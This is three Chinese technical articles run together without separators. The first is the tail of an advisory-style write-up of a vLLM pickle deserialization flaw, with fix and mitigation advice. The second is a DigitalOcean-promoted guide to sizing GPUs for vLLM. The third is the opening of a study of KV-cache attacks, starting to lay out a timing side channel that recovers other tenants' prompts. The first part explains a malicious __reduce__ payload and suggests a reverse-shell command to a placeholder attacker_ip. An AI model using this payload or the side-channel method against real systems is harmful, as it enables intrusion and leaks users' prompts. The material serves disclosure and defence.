__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',)),反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令,例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。

这行代码创建了一个客户端通信节点:host:目标服务监听地址(本地测试用 127.0.0.1),port:目标服务监听端口(通常为服务端的 KV 服务端口),rank:当前通信节点的编号(1 表示攻击节点),world_size:分布式训练的总节点数(2 表示 2 个节点通信)

这个接口实际上是将攻击者作为一个“合法”节点加入通信组。

通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时,会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__(),间接调用 os.system('whoami')。

运行后,目标机器会执行whoami命令,在实战环境下可以反弹shell

漏洞修复

vLLM 在 0.8.5 版本中已修复此漏洞:

修复内容:

强制TCPStore使用指定私有地址进行绑定(防止监听所有接口)

改进通信逻辑,防止未经校验的pickle.loads被直接调用

防护建议:

升级 vLLM 至 ≥ 0.8.5

使用防火墙阻止来自不受信任源的连接(如仅允许 10.x 或 192.168.x IP)

切换到 V1 引擎,其不使用该模块

使用安全消息格式(如 JSON、protobuf),禁止pickle用于跨网络通信

参考文章

github.com:https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv

github.com:https://github.com/vllm-project/vllm/pull/15988

github.com:https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7

docs.vllm.ai:https://docs.vllm.ai/en/latest/deployment/security.html

为 vLLM 推理有效规划 GPU 规模并进行合理配置,首先需要清晰理解大语言模型处理的两个基本阶段——Prefill(预填充)和 Decode(解码),以及这两个阶段对硬件提出的不同需求。

本指南深入剖析了 vLLM 运行时行为的内部机制,阐明了内存需求、量化和张量并行等核心概念,并提供了将 GPU 选型与实际工作负载相匹配的实用策略。通过探究这些因素之间的相互作用,您将能够准确预判性能瓶颈,并在 GPU 基础设施上部署大型语言模型时,做出明智且具有成本效益的决策。

vLLM 运行时行为剖析:预填充阶段 vs 解码阶段

预填充阶段("读取"阶段)

这是任何请求的第一步。vLLM 接收整个输入提示(用户查询 + 系统提示 + 任何 RAG 上下文),并以高度并行的方式一次性处理所有内容。

  • 过程​:模型"读取"上下文,并用该上下文的数学表示填充键值(KV)缓存。
  • 瓶颈​:由于并行处理数千个令牌,此阶段几乎总是受限于内存带宽。速度上限取决于 GPU 将巨大的权重矩阵从显存移动到计算核心的速度。有关 GPU 性能特性的更多信息,请参阅我们的 GPU 性能优化指南
  • 实际影响​:这决定了首 Token 延迟(Time-To-First-Token)。如果要总结一个长达 10 万 Token 的庞大文档,预填充阶段就是让用户在第一个词出现前等待的原因。

解码阶段("写入"阶段)

预填充完成后,vLLM 进入自回归循环以生成输出。

  • 过程​:模型生成一个 Token,将其附加到序列中,然后再次运行整个模型以生成下一个 Token。对于单个请求而言,这本质上是串行的。
  • 挑战​:仅为了计算单个用户的一个 Token 而从显存加载庞大的模型权重是极其低效的;GPU 在移动数据上花费的时间比计算还多。
  • 解决方案(连续批处理​​​:为了解决这个问题,像 vLLM 这样的现代引擎不会逐个处理请求。相反,它们使用连续批处理。请求动态地进入和离开批处理批次。vLLM 在同一个 GPU 周期内,将新请求的预填充操作与进行中请求的解码步骤交错进行。
  • 瓶颈​:当有效进行批处理时,此阶段变为​计算受限​(受原始 TFLOPS 限制),因为目标是尽可能多地并行处理 Token 计算,以最大化总体吞吐量。

预填充阶段与解码阶段的对比

  • 主要瓶颈​:预填充阶段为内存带宽,解码阶段为计算能力。
  • 衡量指标​:预填充影响​首 Token 延迟​,解码影响​吞吐量​。
  • 并行性​:预填充阶段针对单个请求具有高并行性;解码阶段对单个请求是顺序的,但通过跨请求的连续批处理实现并行。

将阶段与工作负载及硬件关联

了解哪个阶段在您的工作负载中占主导地位,对于选择合适的硬件至关重要。

运行时阶段主要操作主要硬件约束主要用例场景
预填充阶段并行处理长输入。内存带宽​(TB/s)(对快速 TTFT 至关重要)• RAG• 长文档摘要 • 大规模少样本提示
解码阶段顺序生成输出。计算能力​(TFLOPS)(对快速 Token 生成至关重要)• 交互式聊天与客服 • 实时代码生成 • 多轮智能体工作流

运行时的 ​KV​ Cache

在推理过程中,vLLM 高度依赖 KV Cache,用来避免重复计算已经完成的工作。

工作机制

在 Transformer 中,每个 token 都会在注意力层内被转换为 Key(K)Value(V) 向量。 如果没有缓存机制,模型在生成第 t+1 个 token 时,就必须重新处理整个历史序列(token 0 … t)。

解决方案:KV Cache

KV Cache 的作用正是把这些已经计算过的 K / V 向量保存下来并重复利用。

  • Prefill 阶段: vLLM 会一次性为所有输入提示词计算 K / V,并立即写入缓存。
  • Decode 阶段:每生成一个新 token,只需从缓存中读取历史 K / V,并仅为这个新 token 计算新的 K / V。

带来的收益

这种机制将注意力计算:

  • 近似二次复杂度(为了写下每一个字,都要把整本书重新读一遍)
  • 转变为线性复杂度(只需要写下下一个字)

代价:动态内存增长

性能提升的代价是 ​显存占用​。

每生成一个新 token,KV Cache 中都会追加新的条目。运行时,KV Cache 的使用量会随着以下因素动态增长:

  • Prompt 长度与输出长度对话越长,占用的 VRAM 越多。
  • 并发请求数(Concurrency每一个活跃请求都需要自己独立的一份 KV Cache。
  • 模型规模模型越深(层数越多)、越宽(注意力头越多),​每个 token 所需的缓存就越大​。

这正是为什么人们经常说,使用同一个模型的两个工作负载,可能对硬件的需求却天差地别。

例如:一个 70B 模型 本身也许能放进单张 GPU,但如果在长对话中 KV Cache 持续膨胀,服务器仍然可能因为 ​显存​耗尽(​​OOM)而直接崩溃​。

因此,在生产环境中,理解并管理内存​​行为是部署 LLM 的核心能力之一​,这一点在我们卓普云官网博客中的《LLM 微调与部署指南》中也有详细说明。

资源配置基础:模型、精度与硬件如何决定适配性

理解 vLLM 的运行时行为后,下一步是确定模型能否在给定 GPU 上运行,以及它能支持怎样的并发级别或上下文长度。

本节将提供所需的数学公式与决策树,用于计算静态内存需求、估算 KV 缓存增长,并系统性地排查和确定适配问题。

GPU 硬件特性与约束

在计算模型大小之前,首先必须理解我们要把模型放进的“容器”是什么。不同的 GPU 在可行性与性能上都有各自明确的硬性限制。

常见数据中心 GPU 的显存容量

以下是当前主流推理 GPU 的物理显存​​上限​,也是模型部署时不可突破的硬限制。

vLLM 推理与训练的 GPU 对比:

即使模型本身能够装入显存,​GPU​ 架构差异仍会显著影响 vLLM 的实际性能​。需要重点关注以下指标:

模型权重占用(静态显存)

在 vLLM 能够对外提供推理服务之前,模型必须先将全部权重加载进 GPU 显存(VRAM)。

权重大小完全取决于模型的参数数量以及所选择的数值精度。

静态权重计算公式

模型所需的显存容量(GB)可以使用以下公式进行估算:

​显存​(GB)≈ 参数量(十亿) × 每个参数所占字节数

下表展示了 Llama 3.1 70B(700 亿参数)模型在不同量化精度下的显存占用情况:

精度选择是决定模型是否可部署的​最关键因素​​。

将一个 70B 模型从 FP16 量化为 INT4,可将静态显存占用减少 ​75%​,使其从“单节点无法运行”变为“可在单张 A100 上运行”。

因此,在 DigitalOcean GPU 服务器等云环境中,量化是实现高性价比部署的必要手段。

KV Cache 需求(动态显存)

如果说模型权重决定模型是否能够启动,那么 ​KV​ Cache 决定模型是否能够扩展​。

KV Cache 往往被严重低估,这也是推理负载下最常见的 OOM 原因之一。

要准确评估部署规模,必须根据预期的上下文长度与并发请求数,估算 KV Cache 的显存消耗。

“现场经验法则”(快速估算)

在大多数实际业务场景中,精确公式并不适合即时计算。

因此通常采用“每 token ​显存​​系数​”的方法进行估算,该方式足以支撑初步容量判断。

简化 ​KV​ Cache 公式:

KV​ Cache 总​显存​(MB) = Token 总数 × 显存系数

其中:Token 总数 = 上下文长度 × 并发请求数

标准显存系数如下表所示:

示例

我们假设,某用户计划运行:

  • 模型:Llama 3 70B
  • 上下文长度:32k
  • 并发用户数:10

​计算 Token 总数:​32,000 × 10 = 320,000 tokens

​套用标准系数(0.35):​320,000 × 0.35 MB = 112,000 MB ≈ 112 ​GB

​FP8 选项验证:​若启用 FP8 量化缓存,显存占用将降至一半:约​ 56 ​GB

最终配置方案:
  • FP16 缓存方案:112 GB KV 缓存 + 140 GB 模型权重 = 总计 252 GB(需 4 块 H100 GPU)
  • FP8 缓存方案:56 GB KV 缓存 + 140 GB 模型权重 = 总计 196 GB (可部署于​3 块 H100​;若模型权重同步量化,2 块 H100 亦可勉强容纳)

精确计算工具与公式

针对边界场景或深度验证,请使用专业公式或在线计算器:

总KV缓存 (GB) = (2 × 模型层数 × 模型维度 × 序列长度 × 批大小 × 精度字节数) / 1024³

何时需要使用 Tensor Parallelism(张量并行)

Tensor Parallelism(TP)是一种将模型权重矩阵拆分到多张 GPU 上的技术。

它可以让 vLLM 将多张 GPU 视为一张“逻辑大卡”,共享显存资源。

为什么要使用张量并行?张量并行的主要目标是​可行性,而非性能优化​。

通常在以下场景中启用:

1、模型权重超限:模型体量超过单卡物理承载极限(例如:24GB 显存的 GPU 无法加载 Llama 3 70B 模型)

2、KV 缓存空间耗尽:模型权重虽可加载,但未预留任何 KV 缓存空间,导致无法处理长上下文或高并发请求

虽然张量并行(TP)能极大释放显存,但它也引入了通信开销。在每一层计算完成后,所有 GPU 必须同步它们的部分计算结果。

  • 单 GPU 适配情况:如果一个模型能在单张 GPU 上运行,那么使用单 GPU 几乎总是比使用双 GPU 更快,因为它完全避免了通信开销。
  • 互联依赖:TP 的性能高度依赖于高速的 GPU 间通信带宽。如果在没有 NVLink 的显卡上使用 TP(例如仅通过标准 PCIe 连接),由于同步延迟,推理速度可能会显著下降。

若需部署多 GPU 环境,可考虑使用 DigitalOcean Kubernetes 来编排 vLLM 服务。

数值实测:资源配置场景分析

在进入高级配置前,让我们将前几节的数学计算应用到实际场景中。这有助于验证我们对“适配性”的理解,并揭示纯计算中常被忽略的实际约束。

隐藏的显存开销

一个常见的错误是计算 \` 权重 + 缓存 = 总显存需求\`,并假设可以达到 100% 的利用率。实际情况并非如此。

  • CUDA上下文与运行时开销​:GPU 驱动、PyTorch 和 vLLM 运行时本身就需要预留内存来初始化(通常为 2-4 GB)。
  • 激活缓冲区​:前向传播过程中用于存储中间计算结果的临时空间。
  • 安全配置原则​:务必预留约 4-5 ​GB的显存作为“不可用”的系统开销。如果你的计算结果显示仅剩 0.5 GB 可用,服务器很可能会崩溃。

场景 A:轻松适配(标准聊天)

  • 硬件​:1x NVIDIA L40S(48 GB 显存)
  • 模型​:Llama 3 8B(FP16 精度)
  • 计算​:

    • 权重:80 亿参数 x 2 字节 = 16 ​GB
    • 系统开销:-4 ​GB
    • 可供缓存的剩余显存:48 - 16 - 4 = 28 ​GB
    • 缓存容量估算:28,000 MB / 0.15 MB 每 Token = 约 186,000Token

结论​:​适配极佳。​此配置可应对大规模负载(例如,60 个并发用户,每人 3k 上下文)。

结果​:高吞吐量,低成本。

场景 B:“权重超标”(大模型​​,单GPU

  • 硬件​:1x NVIDIA H100(80 GB 显存)
  • 模型​:Llama 3 70B(FP16 精度)
  • 计算​:

权重:700 亿参数 x 2 字节 = 140 ​GB

结论​:​完全无法适配。​模型权重(140 GB)已超过 GPU 物理容量(80 GB)。

​要想解决这个问题,​必须使用​张量并行​​(2x ​GPU量化技术(见第 3 节)。

场景 C:“缓存陷阱”(模型能加载,但无法运行)

  • 硬件​:1x NVIDIA H100(80 GB 显存)
  • 模型​:Llama 3 70B(FP8 量化精度)
  • 计算​:

    • 权重:700 亿参数 x 1 字节 = 70 ​GB
    • 系统开销:-4 ​GB
    • 可供缓存的剩余显存:80 - 70 - 4 = 6 ​GB
    • 缓存容量估算:6,000 MB / 0.175 MB 每 Token (FP8) = 总计约 34,000Token

结论​:​有风险 / 适配性差。​模型可以加载,但几乎没有可用的工作空间。

如果现在有 10 个并发用户,每人仅能分配到约 3.4k 上下文。一旦有用户粘贴长文档(4k Token),系统就会因显存不足而崩溃。

这个场景给我们一个启发,即权重能放下,不代表工作负载能运行。 此场景通常需要增加 GPU 或选择更小的模型。

场景 D:解决方案(张量并行)

让我们通过增加第二张 GPU 来解决场景 C 中的“缓存陷阱”。这展示了张量并行(TP)如何整合内存资源。

  • 硬件​:2x NVIDIA H100(每张 80 GB 显存 = 总计 160 GB 可用)
  • 模型​:Llama 3 70B(FP8 量化精度)
  • 计算​:

    • 总可用显存:160 ​GB
    • 权重:​-70 ​GB​(分摊到两张 GPU 上)
    • 系统开销:​-8 ​GB​(每张 GPU 约 4 GB)
    • 可供缓存的剩余显存:160 - 70 - 8 = 82 ​GB
    • 缓存容量估算:82,000 MB / 0.175 MB 每 Token (FP8) = 总计约 468,000Token

结论​:​可用于生产环境。​通过增加第二张 GPU,我们从“仅有风险性的 6 GB”缓存空间,提升到了“充裕的 82 GB”。

对于 10 个并发用户情况,现在每人可获得约​46k 上下文​。显存不足的风险已消除,该部署可以轻松应对 RAG 或长文档处理。

量化:“压缩”模型的艺术

正如前文资源配置场景所示,VRAM 是 LLM 推理的主要瓶颈。量化是一种通过降低数字表示精度的技术,用微小的精度损失换取内存效率和速度的大幅提升。

关键在于区分 vLLM 中使用的两种量化类型,因为它们针对不同的约束条件。

类型一:模型权重量化("静态"优化方案)

这涉及在加载预训练模型之前,对其庞大、静态的权重矩阵进行压缩。

  • 目的​:使模型能够适配到其全精度权重原本会超过 VRAM 容量的 GPU 上。
  • vLLM 实现方式​:虽然 vLLM 可以在启动时动态量化权重,但通常更高效的做法是直接加载已经使用 AWQ(激活感知权重量化)或 GPTQ 等高性能内核预量化好的模型。这些专用格式相比通用的即时转换,能提供更好的精度保持和更快的解码速度。
  • 影响​:将静态 VRAM 占用减少 50%(FP8/INT8)至 75%(INT4/AWQ),从而显著增加用于 KV 缓存的剩余 VRAM。

类型二:KV缓存量化("动态"优化方案)

这涉及在序列生成过程中,对存储在内存中的中间键(Key)和值(Value)状态进行压缩。

  • 目的​:使模型能够扩展以支持更高的并发批处理量或更长的上下文窗口。
  • vLLM 实现方式​:通过运行时参数 (--kv-cache-dtype) 控制。
  • 建议​:对于支持 FP8 张量核心的现代硬件(如 NVIDIA H100, L40S, AMD MI300X,在 DigitalOcean 云平台上你可以找到这些 GPU 服务器,而且价格低于 AWS、谷歌云 GCP,详情可咨询 DigitalOcean 中国区独家战略合作伙伴卓普云 AI Droplet。),强烈建议启用 FP8 ​KV​​缓存​。它能以对模型质量几乎可忽略的影响,将可用上下文容量翻倍。
  • 影响​:将第 2 节中讨论的每个 token 的内存需求减半(例如,将 70B 模型的乘数从约 0.35 MB/token 降至约 0.175 MB/token)。

vLLM ​GPU精度格式

并非所有量化格式都是相同的。选择取决于可用的硬件架构以及模型大小与精度之间的期望平衡。

精度 / 格式每个参数占用字节数精度影响最佳硬件支持推荐使用场景
FP16​ / BF16 (基准)2无(参考标准)所有现代 GPU黄金标准​。在 VRAM 容量允许时优先使用。
FP8 (8 位浮点数)1可忽略H100, H200, L40S, MI300X现代默认选择​。在新硬件上速度与质量的最佳平衡。KV 缓存理想选择。
AWQ / GPTQ (INT4 变体)\~0.5低/中A100, L40S, 消费级显卡“极致压缩”选项​。在较旧或较小 GPU 上运行大模型的必备技术。解码速度优异。
通用 INT81旧款 GPU (V100, T4)传统方案​。在新硬件上通常被 FP8 取代,或在追求极限压缩时被 AWQ 取代。

策略性应用与权衡

决定何时应用量化需要在实际约束与工作负载敏感性之间取得平衡。量化虽强大,但涉及在部署规划时必须考虑的根本性权衡。

关键考量因素:精度与硬件

在确定具体场景前,请考虑以下两个基础约束:

  1. 精度 vs. 压缩率​:激进的量化(如 INT4)可能会降低在涉及复杂推理或代码生成的敏感任务上的性能。对于大多数聊天和 RAG 用例,FP8 通常被认为是安全的。
  2. 硬件兼容性​:所选格式必须与硬件能力匹配。例如,FP8 量化需要配备 FP8 张量核心的 GPU(NVIDIA Ada/Hopper 或 AMD CDNA3 架构)才能实现性能提升。

何时应推荐使用量化

基于上述权衡,量化适用于广泛的现实场景,并且在企业环境中经常是默认选择:

  • 无法以FP16​​格式运行的大模型​:对于 70B 级别的大模型,要在单张 48GB 或 80GB GPU 上部署,INT4/INT8 通常是唯一途径。
  • 高并发工作负载​:减少的 VRAM 占用为 KV 缓存释放了大量空间,从而支持更多活跃序列和更长的提示词。
  • RAG 和企业聊天应用​:这些工作负载通常能很好地容忍微小的精度偏差,而不会影响最终用户体验。
  • 成本优化​:量化使得工作负载可以在更小、更便宜的 GPU 型号上运行,同时保持可接受的性能。这在 DigitalOcean GPU Droplets 上部署时也很有价值,因为您可以根据具体需求来平衡性能与成本。

何时应避免使用量化

量化并非普遍适用。有些工作负载对精度损失高度敏感,应尽可能保持在 FP16/BF16 精度:

  • 代码生成与调试​:较低的精度可能会削弱结构化推理能力,导致细微的语法错误或逻辑缺陷。
  • 数学、金融和科学查询​:需要精确计算的任务显著受益于更高精度的格式,以避免舍入误差。
  • 评估、基准测试​​或回归测试​:微小的精度漂移可能导致不同模型版本或设置之间的比较失效。
  • 涉及多步推理的智能体​​工作流​:多个步骤中的累积误差可能会降低系统的整体可靠性和任务完成率。

整合实践:从需求到部署方案

至此,我们已经探讨了 vLLM 的运行时行为(第 1 节)、内存基础原理(第 2 节)以及量化策略(第 3 节)。

本节将这些概念连接成一个可重复的决策框架。它将引导你从理论走向实践,提供一个结构化的工作流程,用于评估可行性、选择硬件并制定部署计划。

第一步:资源配置需求问卷

要准确配置 vLLM 部署,必须从工作负载描述中提取具体的技术细节。像“快速推理”这样的抽象目标是不够的。使用以下五个问题来收集必要的数据:

  1. “您需要支持的最大上下文长度是多少?”
    原因​​:决定 KV 缓存大小(进而决定 OOM 风险)。
  2. “您的目标并发量(同时在线用户数)是多少?”
    原因​​:KV 缓存需求会成倍增加。
  3. “可接受的延迟是多少(首 Token 时间TTFT和每秒生成 Token 数)?”
    原因​​:决定您是需要高带宽(H100)还是仅需足够容量(L40S)。
  4. “模型精度是否关键(数学/代码),还是‘够用就好’即可(聊天)?”
    原因​​:决定您是否可以使用量化(INT4/FP8)来节省成本。
  5. “您是否有严格的预算限制?”
    原因​​:帮助在优化极致速度(H100)与性价比(L40S)之间做出抉择。

第二步:选择模型大小与精度

需求明确后,确定能满足质量要求的最小的模型和最高的精度。

  • 精度是调节杠杆​:更低的精度(INT4/FP8)使得在更便宜的硬件上运行大模型成为可能。
  • 70B 法则​:FP16 精度的 70B 模型需要特殊硬件(多 GPU)。而 INT4 精度的同一模型则可以在普通硬件(单 GPU)上运行。
  • 指导原则​:
    聊天/助理​:使用 INT4 或 FP8。

    代码/推理​:使用 FP16 或 FP8(避免 INT4)。

第三步:硬件可行性检查

使用第 2 节的数学方法进行适配性验证。

  1. 静态适配(权重)​:参数量 * 精度字节数 是否能在 VRAM 中放下?
    如果不能​:进行量化(第二步)或增加 GPU(张量并行)。
  2. 动态适配(缓存)​:是否有足够空间容纳 上下文长度 * 并发数 * 每 Token 内存系数?
    如果不能​:降低并发数、缩短上下文长度,或启用 FP8 KV 缓存。
  3. 工作负载适配(带宽)​:
    长文本 RAG/摘要​:需要高带宽(H100/A100)。

    标准聊天​:需要高算力(L40S)。

第四步:推荐GPU策略

可行性确认后,选择具体的 GPU 型号。可参考以下“速查表”应对常见场景。DigitalOcean 平台可提供以下表格中所有型号的 GPU(其中 B300 GPU 将在 2026 年初上线,可联系卓普云 AI Droplet 进行预约测试)。

第五步:使用指标进行验证

纸上计算并非完美。

  • 检查TTFT​:如果过高,说明预填充阶段存在瓶颈(带宽饱和)。
  • 检查 Token 间延迟​:如果过高,可能是批次大小设置过于激进(计算饱和)。
  • 检查KV​​缓存使用率​:如果持续 >90%,则存在 OOM 风险,应启用分块预填充或降低并发数。

常见问题解答

1. 运行LLM推理需要多少GPU显存?

GPU 显存需求取决于模型大小、精度、上下文长度和并发量。一个粗略的经验法则是:仅就权重而言,FP16 模型每 10 亿参数约需要 2GB。因此,一个 70B 的模型,FP16 权重需要 140GB,但使用 INT4 量化后仅需 35GB。此外,还必须考虑 KV 缓存的内存占用,它会随上下文长度和并发用户数增长。例如,对于一个 70B 模型,32k 上下文长度和 10 个并发用户,FP16 缓存约需 112GB,而 FP8 缓存约需 56GB。

2. vLLM 中张量并行与流水线并行有何区别?

张量并行​:将模型权重矩阵在同一层内切分到多个 GPU 上,允许多个 GPU 同时处理同一计算。这整合了显存资源,但需要在每层计算后进行同步,从而引入通信开销。

流水线并行​:将模型各层按顺序分配到不同 GPU 上,每个 GPU 处理不同的层。

TP 通常用于单个 GPU 无法容纳整个模型时,而 PP 更常见于训练场景。对于推理任务,当模型超出单 GPU 容量时,TP 是标准的处理方法。

3. 在 vLLM 部署中,何时应使用量化技术?

在以下情况推荐使用量化:模型无法在可用显存中加载时;需要支持更高并发或更长上下文窗口时;或者成本优化是优先考虑事项时。FP8 量化是现代硬件(H100, L40S, MI300X)的理想选择,精度损失极小。INT4 量化是在较小 GPU 上运行大模型的必要手段,但在代码生成、数学及科学计算等对精度敏感的任务中应避免使用。对于聊天和 RAG 类工作负载,量化通常是默认选择。

4. 如何计算KV缓存的内存需求?

可以使用每 token 乘数法进行快速估算:将总 token 数(上下文长度 × 并发量)乘以模型特定的系数。对于小型模型(7B-14B),FP16 缓存系数约为 0.15 MB/token,FP8 约为 0.075 MB/token。对于大型模型(70B-80B),FP16 缓存系数约为 0.35 MB/token,FP8 约为 0.175 MB/token。如需精确计算,可使用公式:总 KV 缓存 = (2 × 层数 × 模型维度 × 序列长度 × 批次大小 × 精度字节数) / (1024³),或使用在线工具如 LMCache KV Calculator。

5. 我可以在 DigitalOcean ​GPU​ Droplets 上运行 vLLM 吗?

可以,vLLM 可以部署在 DigitalOcean GPU Droplets 上。DigitalOcean 提供的搭载 NVIDIA GPU 的 Droplets 能够满足 vLLM 的运行要求。部署时,请确保所选 GPU 的显存足以支撑您的模型大小和工作负载。对于追求成本效益的部署,可以考虑使用量化模型(INT4 或 FP8)以便在较小的 GPU 实例上运行更大的模型。DigitalOcean 的 GPU Droplets 提供 NVLink 连接,这在多 GPU 使用张量并行时对保证效率至关重要。

vLLM ​GPU推理的实际应用场景

基于对模型大小、精度、GPU 架构、KV 缓存及批处理等因素如何影响性能的基础理解,在接下来的教程中,我们将把这些概念应用到实际的 vLLM 工作负载中。

针对每个用例,我们将围绕三个核心问题来确定最优配置方案:

  1. 工作负载定义​:其核心特征是什么?(例如,提示词长度与输出长度、并发量、延迟敏感性)。
  2. 资源配置优先级​:哪些因素是瓶颈?(例如,权重与 KV 缓存之争、带宽与算力之争)。
  3. 配置模式​:哪些具体的参数设置和硬件选择能确保稳定可靠的性能?

用例一:交互式聊天与智能助手

  • 关注点​:​低延迟(受解码阶段限制)​。
  • 目标​:为用户提供流畅的流式输出和快速的“打字速度”体验。
  • 关键约束​:计算能力与​Token 间延迟​。

用例二:高吞吐量批处理

  • 关注点​:​最大吞吐量​​(受计算限制)​。
  • 目标​:为离线任务(如摘要生成)实现每小时处理数百万 Token。
  • 关键约束​:​系统总吞吐量​。

用例三:RAG 与长上下文推理

  • 关注点​:上下文容量(受内存​​限制)​。
  • 目标​:将海量文档或历史记录加载到内存中而不致崩溃。
  • 关键约束​:显存容量与​内存带宽​。

小结

为 vLLM 合理配置 GPU 资源,需要深入理解模型大小、精度、上下文长度和并发量之间的根本性权衡。预填充阶段和解码阶段对硬件有不同的需求:预填充阶段需要高内存带宽,而解码阶段则需要高计算吞吐量。量化技术是在现有硬件上运行大型模型的核心调节手段,而张量并行则能突破单 GPU 的限制,实现横向扩展。

成功部署的关键在于​将您的工作负载特性与正确的硬件配置相匹配​。交互式聊天应用优先考虑算力以实现快速 Token 生成,而 RAG 和长上下文工作负载则需要巨大的显存容量和高内存带宽。遵循本指南概述的资源配置框架,您可以系统地评估可行性、选择合适的硬件,并为生产环境中的工作负载优化您的 vLLM 部署。

接下来你还可以

准备好在 GPU 基础设施上部署 vLLM 了吗?你可以通过以下资源快速开始:

在 DigitalOcean GPU Droplets 上部署

通过在 DigitalOcean ​GPU​ Droplets 上实际部署 vLLM,获得第一手使用体验。你可以在 DigitalOcean 官方文档中学习如何搭建运行环境,并对 vLLM 进行性能优化配置。你也可以通过以下 DigitalOcean 发布在卓普云官网的教程与实践总结,学习更多经验:

体验 DigitalOcean 产品

如需更多技术指南与最佳实践,欢迎访问 DigitalOcean 英文官网,或咨询 DigitalOcean 中国区独家战略合作伙伴卓普云(aidroplet.com)。

0x01 研究背景

在自回归生成模型(Autoregressive Model)中,LLM每生成一个新token,都会将此前生成的序列作为输入。若每一步都重新计算全部注意力(Q、K、V 矩阵),计算量将随序列长度平方级增长。在长上下文和高并发场景下,这一开销会迅速成为系统瓶颈。为此,主流推理框架普遍引入KV-Cache技术。 KV-Cache通过缓存此前token的Key(K)和Value(V)向量,在下一步生成时只需计算新的Query(Q),即可直接复用前面的K/V,从而显著降低重复计算量。实践中,KV-Cache 通常能在保持模型精度不变的前提下,带来约5-8倍的推理加速。这一机制已经成为vLLM、SGLang、DeepSpeed-Inference等高性能推理引擎,以及Hugging Face generate(use_cache=True)接口的默认能力。

随着2024–2025年多租户推理服务(如vLLM、SGLang、TensorRT-LLM)的大规模部署,系统在单模型、多租户共享的前提下,又进一步引入跨请求的前缀缓存共享(prefix caching)。当不同请求的prompt存在相同前缀时,系统可以直接复用已有KV-Cache,大幅摊薄Prefill成本并提升吞吐。然而,当这种共享与复用机制扩展到多租户并发环境时,KV-Cache不再只是一个“性能优化组件”,而是演变成新的攻击面:攻击者可以通过观测Prefill 时间、TTFT等性能差异发起时序侧信道攻击,通过篡改缓存内容实施History Swapping(生成轨迹劫持),或者通过对Key向量注入扰动发动Cache Corruption(缓存腐败),从而导致跨租户信息泄露、话题漂移甚至下游任务性能显著下降。

0x02 KV缓存工作机制与共享复用原理

下面是KV-Cache工作原理的示意图。

KV-Cache工作原理

KV-Cache工作原理图

接下来我们用文字详细拆解,更深入了解KV缓存工作机制。

2.1 两阶段推理:Prefill与Decode

KV-Cache的核心做法分为两阶段。

(1)Prefill阶段(Prompt阶段)一次性计算输入序列的K/V并写入缓存 模型读取完整输入的prompt,计算出所有token的Key/Value向量并写入缓存。 公式表示为:

image-20251229205745845

此时缓存中的K/V向量构成了后续生成阶段的基础。

(2)Decode阶段(生成阶段)仅对新token计算Q/K/V,并复用历史K/V完成注意力计算 当模型生成新token时,仅需计算该token对应的Q、K、V向量。

image-20251229205757073

然后与缓存中已有的K/V拼接,直接完成注意力计算。这样便避免了重复计算前面N−1个token的注意力结果。

2.2 past_key_values

在Hugging Face Transformers框架中,KV-Cache在接口层面通过 past_key_values 对象实现。该对象并非一个抽象的控制开关,而是模型前向推理过程中实际生成、并可跨生成步骤复用的中间状态。它以分层的结构保存已处理历史Token的Key和Value张量,从而支撑自回归生成的增量计算。

从结构上看,past_key_values通常是一个长度为模型层数的列表或元组,其中每一层对应一对 (K, V)张量。不同模型的具体维度布局可能存在差异,但其核心语义一致:存储历史序列的注意力键值表示,以便后续生成时直接复用。

在推理流程中,Prefill 阶段会对完整的提示词进行计算,并首次生成past_key_values。进入Decode阶段后,若将此缓存作为输入传递给模型,模型通常只需为新输入的Token计算其对应的Key和Value,并将其追加至现有缓存末尾,从而避免了历史部分的重复计算。这种基于past_key_values的复用是框架的原生机制,其带来的加速直接源于注意力计算的真实削减,因此更适合作为评估系统性能及分析相关安全影响的工程基准。相比之下,通过sleep()或人为插桩制造“快慢差异”的方法仅能模拟现象,难以反映实际推理系统的缓存行为。此外,Transformers框架的generate()接口通常通过参数use_cache=True来启用此缓存机制。vLLM、SGLang、DeepSpeed-Inference在系统层面也普遍实现了类似机制,以降低生成延迟并提升吞吐量。

2.3 多租户场景下的前缀缓存与最长前缀匹配

在多请求并发且显存资源受限的推理服务中,为提升吞吐并降低重复的Prefill开销,系统常采用前缀缓存策略。其核心思想是当新请求的提示词(更准确地说是其Token序列)与某条已缓存的序列存在前缀重合时,系统可直接复用该前缀部分对应的KV-Cache,仅需对未命中的后续Token执行增量计算。

当缓存池中存在多个可能的候选前缀时,命中判定通常遵循最长前缀匹配(LPM)原则:在所有缓存条目中,系统会选择与新请求Token序列匹配长度最长的那一条作为复用对象,以最大化缓存利用率,减少重复计算。在工程实现上,这依赖于能够高效进行Token序列前缀匹配的数据结构或索引机制,例如前缀树(Trie)、基于前N个Token的分层哈希,或基于序列哈希值的多级索引。

根据匹配程度,命中效果可分为两类:一是完全命中,即请求的绝大部分或全部前缀已在缓存中,Prefill阶段的计算量显著下降;二是部分命中,即仅能复用较短的前缀,系统仍需对剩余后缀执行完整的Prefill计算。无论是“是否命中”还是“命中长度”,都会直接反映在可观测的系统性能指标上,例如Prefill时间、首Token延迟的分布等。

当前主流引擎(如vLLM的PagedAttention、LMCache)进一步通过分页管理和压缩技术缓解显存碎片,但前缀共享引入的侧信道与内存安全风险依然突出,这也是后续攻击面的根源。

0x03 KV-Cache的主要攻击面原理介绍

在理解KV-Cache的核心优化机制与共享原理后,我们可以看到其高效性背后隐藏的脆弱性。下面详解三大主要攻击面:时序侧信道攻击、操纵攻击与腐败攻击。

3.1 KV-Cache时序侧信道攻击

在共享KV-Cache的系统中,攻击者通过测量响应时间或请求处理顺序,推断缓存是否命中(hit),从而还原其他用户的Prompt(提示词)。

image-20251028173225854

时序侧信道攻击完流程图

设定还原的语句是"Imagine you are an IT expert",攻击者已经成功还原出"Imagine you are",并尝试还原下一个token "an"。下面我们根据上图分步骤拆解一下攻击过程。

步骤1:Generate candidates

攻击者在本地用小模型、模板或启发式方法生成可能的下一个token候选集合,例如:

  • Imagine you are an
  • Imagine you are a
  • Imagine you are the

把未知的victim prompt逐步转化为一系列候选前缀/后缀,便于后续probe。优点是减少搜索空间。


